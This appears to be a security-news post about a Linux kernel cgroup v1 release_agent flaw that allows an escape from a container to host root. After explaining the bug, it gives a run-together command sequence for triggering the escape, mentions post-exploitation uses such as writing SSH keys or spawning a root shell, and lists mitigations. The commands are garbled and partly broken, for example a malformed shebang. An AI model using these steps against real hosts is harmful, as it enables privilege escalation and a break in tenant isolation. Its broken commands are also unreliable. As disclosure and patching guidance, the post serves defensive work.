Listen to this Post
The vulnerability resides in the `cgroup_release_agent_write` function within kernel/cgroup/cgroup-v1.c. Cgroups v1 provide a `release_agent` feature: when a cgroup becomes empty (all its processes terminate), the kernel can execute a predefined binary (the release agent) via a call to call_usermodehelper(). The release agent path is set by writing a string to the `cgroup.release_agent` file in the root cgroup directory. Under normal operation, writing to this file requires root privileges and is restricted to the initial mount namespace. However, the vulnerable code path does not properly validate that the write operation occurs within the root cgroup of the initial namespace. An unprivileged user who can mount a cgroup filesystem (e.g., inside a container or unprivileged user namespace) can create a nested cgroup hierarchy, then write an arbitrary path to the `release_agent` file of that nested root – because the kernel erroneously accepts writes to any cgroup filesystem that appears as a cgroup v1 root, not only the host’s root. This allows an attacker to set a custom release agent binary (e.g., a script they control) that will execute with full root privileges when the last process in the attacker’s cgroup exits. The attack bypasses namespace isolation: from inside a container with cgroup v1 mounted, an adversary can escape to the host as root. Exploitation typically involves mounting a cgroup v1 controller (like memory), creating a child cgroup, writing the payload path to release_agent, writing “1” to notify_on_release, and then spawning a process inside that cgroup and killing it to trigger the agent. The flaw affects kernels from v2.6.24 up to v5.16 (fixed in v5.17-rc4).
DailyCVE Form:
Platform: Linux Kernel
Version: 2.6.24 – 5.16
Vulnerability: cgroup release_agent escape
Severity: High
date: 2022-02-04
Prediction: 24 February 2022
What Undercode Say:
Mount cgroup v1 memory controller mount -t cgroup -o memory cgroup /tmp/cgroup Create child cgroup mkdir /tmp/cgroup/x Set release agent to host root's executable echo "/tmp/escape.sh" > /tmp/cgroup/release_agent Enable notify_on_release echo 1 > /tmp/cgroup/x/notify_on_release Run process inside child cgroup and exit echo "!/bin/sh\nchmod 777 /host" > /tmp/escape.sh chmod +x /tmp/escape.sh sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs && sleep 1" Trigger release agent rmdir /tmp/cgroup/x Check host filesystem escape ls -la /host
Exploit:
- Unprivileged user mounts cgroup v1 inside user namespace or container.
- Writes path to attacker-controlled binary into `release_agent` (bypassing root‑only restriction).
- Creates a child cgroup, enables
notify_on_release, spawns a process inside it. - Removes the child cgroup, causing the kernel to execute the attacker binary as root.
- Commonly used to remount host root, write SSH keys, or spawn a root shell.
Protection:
- Disable cgroup v1 entirely: `kernel command line` add
cgroup_no_v1=all. - Upgrade to kernel >=5.17, or backported patch (commit
24f600856418). - Restrict access to cgroup filesystems via `CAP_SYS_ADMIN` drop in containers.
- Use cgroup v2 only (default in modern distributions).
Impact:
- Full container escape to host with root privileges.
- Namespace isolation bypass; unprivileged users gain root on the system.
- Compromise of other containers and host data.
- Used in cloud environments to break tenant isolation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
